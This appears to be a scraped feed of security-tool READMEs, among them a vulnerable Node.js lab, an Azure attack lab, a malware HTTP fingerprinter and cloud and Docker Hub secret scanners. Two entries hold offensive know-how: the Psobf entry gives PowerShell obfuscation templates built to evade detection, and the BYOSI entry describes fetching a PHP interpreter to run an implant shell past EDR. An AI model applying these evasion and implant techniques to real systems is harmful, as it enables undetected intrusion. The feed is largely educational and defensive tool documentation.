Extrude is in the early stages of development, and currently only supports ELF and MachO binaries. PE (Windows) binaries will be supported soon.


Usage

Usage:
extrude [flags] [file]

Flags:
-a, --all Show details of all tests, not just those which failed.
-w, --fail-on-warning Exit with a non-zero status even if only warnings are discovered.
-h, --help help for extrude

Docker

You can optionally run extrude with docker via:

docker run -v `pwd`:/blah -it ghcr.io/liamg/extrude /blah/targetfile

Supported Checks

ELF

  • PIE
  • RELRO
  • BIND NOW
  • Fortified Source
  • Stack Canary
  • NX Stack

MachO

  • PIE
  • Stack Canary
  • NX Stack
  • NX Heap
  • ARC

Windows

Coming soon...

TODO

  • Add support for PE
  • Add secret scanning
  • Detect packers


XMGoat - Composed of XM Cyber terraform templates that help you learn about common Azure security issues

$
0
0


XM Goat is composed of XM Cyberterraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments.

Here's what to do for each environment:

  1. Run installation and then get started.

  2. With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png).

  3. If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md).

  4. When you're done learning the attack, clean up.


Requirements

  • Azure tenant
  • Terafform version 1.0.9 or above
  • Azure CLI
  • Azure User with Owner permissions on Subscription and Global Admin privileges in AAD

Installation

Run these commands:

$ az login
$ git clone https://github.com/XMCyber/XMGoat.git
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>

Where <\SCENARIO> is the scenario number you want to complete

$ terraform init
$ terraform plan -out <\FILENAME>
$ terraform apply <\FILENAME>

Where <\FILENAME> is the name of the output file

Get started

To get the initial user and service principal credentials, run the following query:

$ terraform output --json

For Service Principals, use application_id.value and application_secret.value.

For Users, use username.value and password.value.

Cleaning up

After completing the scenario, run the following command in order to clean all the resources created in your tenant

$ az login
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>

Where <\SCENARIO> is the scenario number you want to complete

$ terraform destroy


VulnNodeApp - A Vulnerable Node.Js Application

$
0
0


A vulnerable application made using node.js, express server and ejs template engine. This application is meant for educational purposes only.


Setup

Clone this repository

git clone https://github.com/4auvar/VulnNodeApp.git

Application setup:

  • Install the latest node.js version with npm.
  • Open terminal/command prompt and navigate to the location of downloaded/cloned repository.
  • Run command: npm install

DB setup

  • Install and configure latest mysql version and start the mysql service/deamon
  • Login with root user in mysql and run below sql script:
CREATE USER 'vulnnodeapp'@'localhost' IDENTIFIED BY 'password';
create database vuln_node_app_db;
GRANT ALL PRIVILEGES ON vuln_node_app_db.* TO 'vulnnodeapp'@'localhost';
USE vuln_node_app_db;
create table users (id int AUTO_INCREMENT PRIMARY KEY, fullname varchar(255), username varchar(255),password varchar(255), email varchar(255), phone varchar(255), profilepic varchar(255));
insert into users(fullname,username,password,email,phone) values("test1","test1","test1","test1@test.com","976543210");
insert into users(fullname,username,password,email,phone) values("test2","test2","test2","test2@test.com","9887987541");
insert into users(fullname,username,password,email,phone) values("test3","test3","test3","test3@test.com","9876987611");
insert into users(fullname,username,password,email,phone) values("test4","test4","test4","test4@test.com","9123459876");
insert into users(fullname,username,password,email,phone) values("test5","test5","test 5","test5@test.com","7893451230");

Set basic environment variable

  • User needs to set the below environment variable.
    • DATABASE_HOST (E.g: localhost, 127.0.0.1, etc...)
    • DATABASE_NAME (E.g: vuln_node_app_db or DB name you change in above DB script)
    • DATABASE_USER (E.g: vulnnodeapp or user name you change in above DB script)
    • DATABASE_PASS (E.g: password or password you change in above DB script)

Start the server

  • Open the command prompt/terminal and navigate to the location of your repository
  • Run command: npm start
  • Access the application at http://localhost:3000

Vulnerability covered

  • SQL Injection
  • Cross Site Scripting (XSS)
  • Insecure Direct Object Reference (IDOR)
  • Command Injection
  • Arbitrary File Retrieval
  • Regular Expression Injection
  • External XML Entity Injection (XXE)
  • Node js Deserialization
  • Security Misconfiguration
  • Insecure Session Management

TODO

  • Will add new vulnerabilities such as CORS, Template Injection, etc...
  • Improve application documentation

Issues

  • In case of bugs in the application, feel free to create an issues on github.

Contribution

  • Feel free to create a pull request for any contribution.

You can reach me out at @4auvar



Hfinger - Fingerprinting HTTP Requests

$
0
0


Tool for Fingerprinting HTTP requests of malware. Based on Tshark and written in Python3. Working prototype stage :-)

Its main objective is to provide unique representations (fingerprints) of malware requests, which help in their identification. Unique means here that each fingerprint should be seen only in one particular malware family, yet one family can have multiple fingerprints. Hfinger represents the request in a shorter form than printing the whole request, but still human interpretable.

Hfinger can be used in manual malware analysis but also in sandbox systems or SIEMs. The generated fingerprints are useful for grouping requests, pinpointing requests to particular malware families, identifying different operations of one family, or discovering unknown malicious requests omitted by other security systems but which share fingerprint.

An academic paper accompanies work on this tool, describing, for example, the motivation of design choices, and the evaluation of the tool compared to p0f, FATT, and Mercury.


    The idea

    The basic assumption of this project is that HTTP requests of different malware families are more or less unique, so they can be fingerprinted to provide some sort of identification. Hfinger retains information about the structure and values of some headers to provide means for further analysis. For example, grouping of similar requests - at this moment, it is still a work in progress.

    After analysis of malware's HTTP requests and headers, we have identified some parts of requests as being most distinctive. These include: * Request method * Protocol version * Header order * Popular headers' values * Payload length, entropy, and presence of non-ASCII characters

    Additionally, some standard features of the request URL were also considered. All these parts were translated into a set of features, described in details here.

    The above features are translated into varying length representation, which is the actual fingerprint. Depending on report mode, different features are used to fingerprint requests. More information on these modes is presented below. The feature selection process will be described in the forthcoming academic paper.

    Installation

    Minimum requirements needed before installation: * Python>= 3.3, * Tshark>= 2.2.0.

    Installation available from PyPI:

    pip install hfinger

    Hfinger has been tested on Xubuntu 22.04 LTS with tshark package in version 3.6.2, but should work with older versions like 2.6.10 on Xubuntu 18.04 or 3.2.3 on Xubuntu 20.04.

    Please note that as with any PoC, you should run Hfinger in a separated environment, at least with Python virtual environment. Its setup is not covered here, but you can try this tutorial.

    Usage

    After installation, you can call the tool directly from a command line with hfinger or as a Python module with python -m hfinger.

    For example:

    foo@bar:~$ hfinger -f /tmp/test.pcap
    [{"epoch_time": "1614098832.205385000", "ip_src": "127.0.0.1", "ip_dst": "127.0.0.1", "port_src": "53664", "port_dst": "8080", "fingerprint": "2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4"}]

    Help can be displayed with short -h or long --help switches:

    usage: hfinger [-h] (-f FILE | -d DIR) [-o output_path] [-m {0,1,2,3,4}] [-v]
    [-l LOGFILE]

    Hfinger - fingerprinting malware HTTP requests stored in pcap files

    optional arguments:
    -h, --help show this help message and exit
    -f FILE, --file FILE Read a single pcap file
    -d DIR, --directory DIR
    Read pcap files from the directory DIR
    -o output_path, --output-path output_path
    Path to the output directory
    -m {0,1,2,3,4}, --mode {0,1,2,3,4}
    Fingerprint report mode.
    0 - similar number of collisions and fingerprints as mode 2, but using fewer features,
    1 - representation of all designed features, but a little more collisions than modes 0, 2, and 4,
    2 - optimal (the default mode),
    3 - the lowest number of generated fingerprints, but the highest number of collisions,
    4 - the highest fingerprint entropy, but slightly more fingerprints than modes 0-2
    -v, --verbose Report information about non-standard values in the request
    (e.g., non-ASCII characters, no CRLF tags, values not present in the configuration list).
    Without --logfile (-l) will print to the standard error.
    -l LOGFILE, --logfile LOGFILE
    Output logfile in the verbose mode. Implies -v or --verbose switch.

    You must provide a path to a pcap file (-f), or a directory (-d) with pcap files. The output is in JSON format. It will be printed to standard output or to the provided directory (-o) using the name of the source file. For example, output of the command:

    hfinger -f example.pcap -o /tmp/pcap

    will be saved to:

    /tmp/pcap/example.pcap.json

    Report mode -m/--mode can be used to change the default report mode by providing an integer in the range 0-4. The modes differ on represented request features or rounding modes. The default mode (2) was chosen by us to represent all features that are usually used during requests' analysis, but it also offers low number of collisions and generated fingerprints. With other modes, you can achieve different goals. For example, in mode 3 you get a lower number of generated fingerprints but a higher chance of a collision between malware families. If you are unsure, you don't have to change anything. More information on report modes is here.

    Beginning with version 0.2.1 Hfinger is less verbose. You should use -v/--verbose if you want to receive information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. When any such issues are encountered in the verbose mode, they will be printed to the standard error output. You can also save the log to a defined location using -l/--log switch (it implies -v/--verbose). The log data will be appended to the log file.

    Using hfinger in a Python application

    Beginning with version 0.2.0, Hfinger supports importing to other Python applications. To use it in your app simply import hfinger_analyze function from hfinger.analysis and call it with a path to the pcap file and reporting mode. The returned result is a list of dicts with fingerprinting results.

    For example:

    from hfinger.analysis import hfinger_analyze

    pcap_path = "SPECIFY_PCAP_PATH_HERE"
    reporting_mode = 4
    print(hfinger_analyze(pcap_path, reporting_mode))

    Beginning with version 0.2.1 Hfinger uses logging module for logging information about encountered non-standard values of headers, non-ASCII characters in the non-payload part of the request, lack of CRLF tags (\r\n\r\n), and other problems with analyzed requests that are not application errors. Hfinger creates its own logger using name hfinger, but without prior configuration log information in practice is discarded. If you want to receive this log information, before calling hfinger_analyze, you should configure hfinger logger, set log level to logging.INFO, configure log handler up to your needs, add it to the logger. More information is available in the hfinger_analyze function docstring.

    Fingerprint creation

    A fingerprint is based on features extracted from a request. Usage of particular features from the full list depends on the chosen report mode from a predefined list (more information on report modes is here). The figure below represents the creation of an exemplary fingerprint in the default report mode.

    Three parts of the request are analyzed to extract information: URI, headers' structure (including method and protocol version), and payload. Particular features of the fingerprint are separated using | (pipe). The final fingerprint generated for the POST request from the example is:

    2|3|1|php|0.6|PO|1|us-ag,ac,ac-en,ho,co,co-ty,co-le|us-ag:f452d7a9/ac:as-as/ac-en:id/co:Ke-Al/co-ty:te-pl|A|4|1.4

    The creation of features is described below in the order of appearance in the fingerprint.

    Firstly, URI features are extracted: * URI length represented as a logarithm base 10 of the length, rounded to an integer, (in the example URI is 43 characters long, so log10(43)≈2), * number of directories, (in the example there are 3 directories), * average directory length, represented as a logarithm with base 10 of the actual average length of the directory, rounded to an integer, (in the example there are three directories with total length of 20 characters (6+6+8), so log10(20/3)≈1), * extension of the requested file, but only if it is on a list of known extensions in hfinger/configs/extensions.txt, * average value length represented as a logarithm with base 10 of the actual average value length, rounded to one decimal point, (in the example two values have the same length of 4 characters, what is obviously equal to 4 characters, and log10(4)≈0.6).

    Secondly, header structure features are analyzed: * request method encoded as first two letters of the method (PO), * protocol version encoded as an integer (1 for version 1.1, 0 for version 1.0, and 9 for version 0.9), * order of the headers, * and popular headers and their values.

    To represent order of the headers in the request, each header's name is encoded according to the schema in hfinger/configs/headerslow.json, for example, User-Agent header is encoded as us-ag. Encoded names are separated by ,. If the header name does not start with an upper case letter (or any of its parts when analyzing compound headers such as Accept-Encoding), then encoded representation is prefixed with !. If the header name is not on the list of the known headers, it is hashed using FNV1a hash, and the hash is used as encoding.

    When analyzing popular headers, the request is checked if they appear in it. These headers are: * Connection * Accept-Encoding * Content-Encoding * Cache-Control * TE * Accept-Charset * Content-Type * Accept * Accept-Language * User-Agent

    When the header is found in the request, its value is checked against a table of typical values to create pairs of header_name_representation:value_representation. The name of the header is encoded according to the schema in hfinger/configs/headerslow.json (as presented before), and the value is encoded according to schema stored in hfinger/configs directory or configs.py file, depending on the header. In the above example Accept is encoded as ac and its value */* as as-as (asterisk-asterisk), giving ac:as-as. The pairs are inserted into fingerprint in order of appearance in the request and are delimited using /. If the header value cannot be found in the encoding table, it is hashed using the FNV1a hash.
    If the header value is composed of multiple values, they are tokenized to provide a list of values delimited with ,, for example, Accept: */*, text/* would give ac:as-as,te-as. However, at this point of development, if the header value contains a "quality value" tag (q=), then the whole value is encoded with its FNV1a hash. Finally, values of User-Agent and Accept-Language headers are directly encoded using their FNV1a hashes.

    Finally, in the payload features: * presence of non-ASCII characters, represented with the letter N, and with A otherwise, * payload's Shannon entropy, rounded to an integer, * and payload length, represented as a logarithm with base 10 of the actual payload length, rounded to one decimal point.

    Report modes

    Hfinger operates in five report modes, which differ in features represented in the fingerprint, thus information extracted from requests. These are (with the number used in the tool configuration): * mode 0 - producing a similar number of collisions and fingerprints as mode 2, but using fewer features, * mode 1 - representing all designed features, but producing a little more collisions than modes 0, 2, and 4, * mode 2 - optimal (the default mode), representing all features which are usually used during requests' analysis, but also offering a low number of collisions and generated fingerprints, * mode 3 - producing the lowest number of generated fingerprints from all modes, but achieving the highest number of collisions, * mode 4 - offering the highest fingerprint entropy, but also generating slightly more fingerprints than modes 0-2.

    The modes were chosen in order to optimize Hfinger's capabilities to uniquely identify malware families versus the number of generated fingerprints. Modes 0, 2, and 4 offer a similar number of collisions between malware families, however, mode 4 generates a little more fingerprints than the other two. Mode 2 represents more request features than mode 0 with a comparable number of generated fingerprints and collisions. Mode 1 is the only one representing all designed features, but it increases the number of collisions by almost two times comparing to modes 0, 1, and 4. Mode 3 produces at least two times fewer fingerprints than other modes, but it introduces about nine times more collisions. Description of all designed features is here.

    The modes consist of features (in the order of appearance in the fingerprint): * mode 0: * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * order of headers, * popular headers and their values, * payload length represented as a float. * mode 1: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * variable length represented as an integer, * number of variables, * average value length represented as an integer, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as an integer. * mode 2: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as a float. * mode 3: * URI length represented as an integer, * average directory length represented as an integer, * extension of the requested file, * average value length represented as an integer, * order of headers. * mode 4: * URI length represented as a float, * number of directories, * average directory length represented as a float, * extension of the requested file, * variable length represented as a float, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as a float, * payload length represented as a float.



    CloudBrute - Awesome Cloud Enumerator

    $
    0
    0


    A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

    The complete writeup is available. here


    Motivation

    we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
    Here is the list issues on previous approaches we tried to fix:

    • separated wordlists
    • lack of proper concurrency
    • lack of supporting all major cloud providers
    • require authentication or keys or cloud CLI access
    • outdated endpoints and regions
    • Incorrect file storage detection
    • lack support for proxies (useful for bypassing region restrictions)
    • lack support for user agent randomization (useful for bypassing rare restrictions)
    • hard to use, poorly configured

    Features

    • Cloud detection (IPINFO API and Source Code)
    • Supports all major providers
    • Black-Box (unauthenticated)
    • Fast (concurrent)
    • Modular and easily customizable
    • Cross Platform (windows, linux, mac)
    • User-Agent Randomization
    • Proxy Randomization (HTTP, Socks5)

    Supported Cloud Providers

    Microsoft: - Storage - Apps

    Amazon: - Storage - Apps

    Google: - Storage - Apps

    DigitalOcean: - storage

    Vultr: - Storage

    Linode: - Storage

    Alibaba: - Storage

    Version

    1.0.0

    Usage

    Just download the latest release for your operation system and follow the usage.

    To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

    It looks like this

    providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
    environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
    proxytype: "http" # socks5 / http
    ipinfo: "" # IPINFO.io API KEY

    For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

    We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

    After setting up your API key, you are ready to use CloudBrute.

    ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
    ██╔════╝██║ ██╔═══██╗██║ ██║██╔══██╗██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝
    ██║ ██║ ██║ ██║██║ ██║██║ ██║██████╔╝██████╔╝██║ ██║ ██║ █████╗
    ██║ ██║ ██║ ██║██║ ██║██║ ██║██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝
    ╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗
    ╚═════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
    V 1.0.7
    usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
    -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
    <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
    [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
    [-m|--mode "<value>"] [-o|--output "<value>"]
    [-C|--configFolder "<value>"]

    Awesome Cloud Enumerator

    Arguments:

    -h --help Print help information
    -d --domain domain
    -k --keyword keyword used to generator urls
    -w --wordlist path to wordlist
    -c --cloud force a search, check config.yaml providers list
    -t --threads number of threads. Default: 80
    -T --timeout timeout per request in seconds. Default: 10
    -p --proxy use proxy list
    -a --randomagent user agent randomization
    -D --debug show debug logs. Default: false
    -q --quite suppress all output. Default: false
    -m --mode storage or app. Default: storage
    -o --output Output file. Default: out.txt
    -C --configFolder Config path. Default: config


    for example

    CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

    please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

    If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

    CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

    Dev

    • Clone the repo
    • go build -o CloudBrute main.go
    • go test internal

    in action

    How to contribute

    • Add a module or fix something and then pull request.
    • Share it with whomever you believe can use it.
    • Do the extra work and share your findings with community ♥

    FAQ

    How to make the best out of this tool?

    Read the usage.

    I get errors; what should I do?

    Make sure you read the usage correctly, and if you think you found a bug open an issue.

    When I use proxies, I get too many errors, or it's too slow?

    It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider.

    too fast or too slow ?

    change -T (timeout) option to get best results for your run.

    Credits

    Inspired by every single repo listed here .



    Ashok - A OSINT Recon Tool, A.K.A Swiss Army Knife

    $
    0
    0


    Reconnaissance is the first phase of penetration testing which means gathering information before any real attacks are planned So Ashok is an Incredible fast recon tool for penetration tester which is specially designed for Reconnaissance" title="Reconnaissance">Reconnaissance phase. And in Ashok-v1.1 you can find the advanced google dorker and wayback crawling machine.



    Main Features

    - Wayback Crawler Machine
    - Google Dorking without limits
    - Github Information Grabbing
    - Subdomain Identifier
    - Cms/Technology Detector With Custom Headers

    Installation

    ~> git clone https://github.com/ankitdobhal/Ashok
    ~> cd Ashok
    ~> python3.7 -m pip3 install -r requirements.txt

    How to use Ashok?

    A detailed usage guide is available on Usage section of the Wiki.

    But Some index of options is given below:

    Docker

    Ashok can be launched using a lightweight Python3.8-Alpine Docker image.

    $ docker pull powerexploit/ashok-v1.2
    $ docker container run -it powerexploit/ashok-v1.2 --help


      Credits



      DockerSpy - DockerSpy Searches For Images On Docker Hub And Extracts Sensitive Information Such As Authentication Secrets, Private Keys, And More

      $
      0
      0


      DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.


      What is Docker?

      Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. Containers allow developers to package an application and its dependencies into a single, portable unit that can run consistently across various computing environments. Docker simplifies the development and deployment process by ensuring that applications run the same way regardless of where they are deployed.

      About Docker Hub

      Docker Hub is a cloud-based repository where developers can store, share, and distribute container images. It serves as the largest library of container images, providing access to both official images created by Docker and community-contributed images. Docker Hub enables developers to easily find, download, and deploy pre-built images, facilitating rapid application development and deployment.

      Why OSINT on Docker Hub?

      Open Source Intelligence (OSINT) on Docker Hub involves using publicly available information to gather insights and data from container images and repositories hosted on Docker Hub. This is particularly important for identifying exposed secrets for several reasons:

      1. Security Audits: By analyzing Docker images, organizations can uncover exposed secrets such as API keys, authentication tokens, and private keys that might have been inadvertently included. This helps in mitigating potential security risks.

      2. Incident Prevention: Proactively searching for exposed secrets in Docker images can prevent security breaches before they happen, protecting sensitive information and maintaining the integrity of applications.

      3. Compliance: Ensuring that container images do not expose secrets is crucial for meeting regulatory and organizational security standards. OSINT helps verify that no sensitive information is unintentionally disclosed.

      4. Vulnerability Assessment: Identifying exposed secrets as part of regular security assessments allows organizations to address these vulnerabilities promptly, reducing the risk of exploitation by malicious actors.

      5. Enhanced Security Posture: Continuously monitoring Docker Hub for exposed secrets strengthens an organization's overall security posture, making it more resilient against potential threats.

      Utilizing OSINT on Docker Hub to find exposed secrets enables organizations to enhance their security measures, prevent data breaches, and ensure the confidentiality of sensitive information within their containerized applications.

      How DockerSpy Works

      DockerSpy obtains information from Docker Hub and uses regular expressions to inspect the content for sensitive information, such as secrets.

      Getting Started

      To use DockerSpy, follow these steps:

      1. Installation: Clone the DockerSpy repository and install the required dependencies.
      git clone https://github.com/UndeadSec/DockerSpy.git && cd DockerSpy && make
      1. Usage: Run DockerSpy from terminal.
      dockerspy

      Custom Configurations

      To customize DockerSpy configurations, edit the following files: - Regular Expressions - Ignored File Extensions

      Disclaimer

      DockerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.

      Contribution

      Contributions to DockerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.

      About the Author

      DockerSpy is developed and maintained by Alisson Moretto (UndeadSec)

      I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.

      Consider following me:

      DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (2)DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (3)DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more. (4)


      Thanks

      Special thanks to @akaclandestine




      ModTracer - ModTracer Finds Hidden Linux Kernel Rootkits And Then Make Visible Again

      Psobf - PowerShell Obfuscator

      $
      0
      0


      Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.


      ./psobf -h

      ██████╗ ███████╗ ██████╗ ██████╗ ███████╗
      ██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝
      ██████╔╝███████╗██║ ██║██████╔╝█████╗
      ██╔═══╝ ╚════██║██║ ██║██╔══██╗██╔══╝
      ██║ ███████║╚██████╔╝██████╔╝██║
      ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝
      @TaurusOmar
      v.1.0

      Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
      Options:
      -i string
      Name of the PowerShell script file.
      -level int
      Obfuscation level (1 to 5). (default 1)
      -o string
      Name of the output file for the obfuscated script. (default "obfuscated.ps1")

      Obfuscation levels:
      1: Basic obfuscation by splitting the script into individual characters.
      2: Base64 encoding of the script.
      3: Alternative Base64 encoding with a different PowerShell decoding method.
      4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
      5: Fragmentation of the script into multiple parts and reconstruction at runtime.

      Features:

      • Obfuscation Levels: Four levels of obfuscation, each more complex than the previous one.
        • Level 1 obfuscation by splitting the script into individual characters.
        • Level 2 Base64 encoding of the script.
        • Level 3 Alternative Base64 encoding with a different PowerShell decoding method.
        • Level 4 Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
        • Level 5 Fragmentation of the script into multiple parts and reconstruction at runtime.
      • Compression and Encoding: Level 4 includes script compression before encoding it in base64.
      • Variable Obfuscation: A function was added to obfuscate the names of variables in the PowerShell script.
      • Random String Generation: Random strings are generated for variable name obfuscation.

      Install

      go install github.com/TaurusOmar/psobf@latest

      Example of Obfuscation Levels

      The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1 with the following content:

      Write-Host "Hello, World!"

      Level 1: Basic Obfuscation

      Run the script with level 1 obfuscation.

      ./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1

      This will generate a file named obfuscated_level1.ps1 with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
      Result (level 1)

      $obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated

      Level 2: Base64 Encoding

      Run the script with level 2 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2

      This will generate a file named obfuscated_level2.ps1 with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
      Result (level 2)

      $obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated

      Level 3: Alternative Base64 Encoding

      Execute the script with level 3 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3

      This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
      Result (level 3)

      $e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated

      Level 4: Compression and Base64 Encoding

      Execute the script with level 4 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4

      This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
      Result (level 4)

      $compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

      Level 5: Script Fragmentation

      Run the script with level 5 obfuscation:

      ./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5

      This level fragments the script into multiple parts and reconstructs it at runtime.
      Result (level 5)

      $fragments = @(
      'Write-',
      'Output "',
      'Hello,',
      ' Wo',
      'rld!',
      '"'
      );
      $script = $fragments -join '';
      Invoke-Expression $script

      This program is provided for educational and research purposes. It should not be used for malicious activities.



      BYOSI - Evade EDR's The Simple Way, By Not Touching Any Of The API's They Hook

      $
      0
      0


      Evade EDR's the simple way, by not touching any of the API's they hook.

      Theory

      I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.

      Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.

      Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.

      This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.


      What this script does

      The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):

      1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
      2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
      3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)

      With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.

      Disclaimer.

      I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.

      Thanks Section

      A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.

      Edit

      It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.

      Edit

      hello sentinel one :) might want to make sure that you are making links not embed.



      Imperius - Make An Linux Kernel Rootkit Visible Again

      $
      0
      0


      A make an LKM rootkit visible again.

      This tool is part of research on LKM rootkits that will be launched.


      It involves getting the memory address of a rootkit's "show_module" function, for example, and using that to call it, adding it back to lsmod, making it possible to remove an LKM rootkit.

      We can obtain the function address in very simple kernels using /sys/kernel/tracing/available_filter_functions_addrs, however, it is only available from kernel 6.5x onwards.

      An alternative to this is to scan the kernel memory, and later add it to lsmod again, so it can be removed.

      So in summary, this LKM abuses the function of lkm rootkits that have the functionality to become visible again.

      OBS: There is another trick of removing/defusing a LKM rootkit, but it will be in the research that will be launched.



      Mass-Assigner - Simple Tool Made To Probe For Mass Assignment Vulnerability Through JSON Field Modification In HTTP Requests

      $
      0
      0


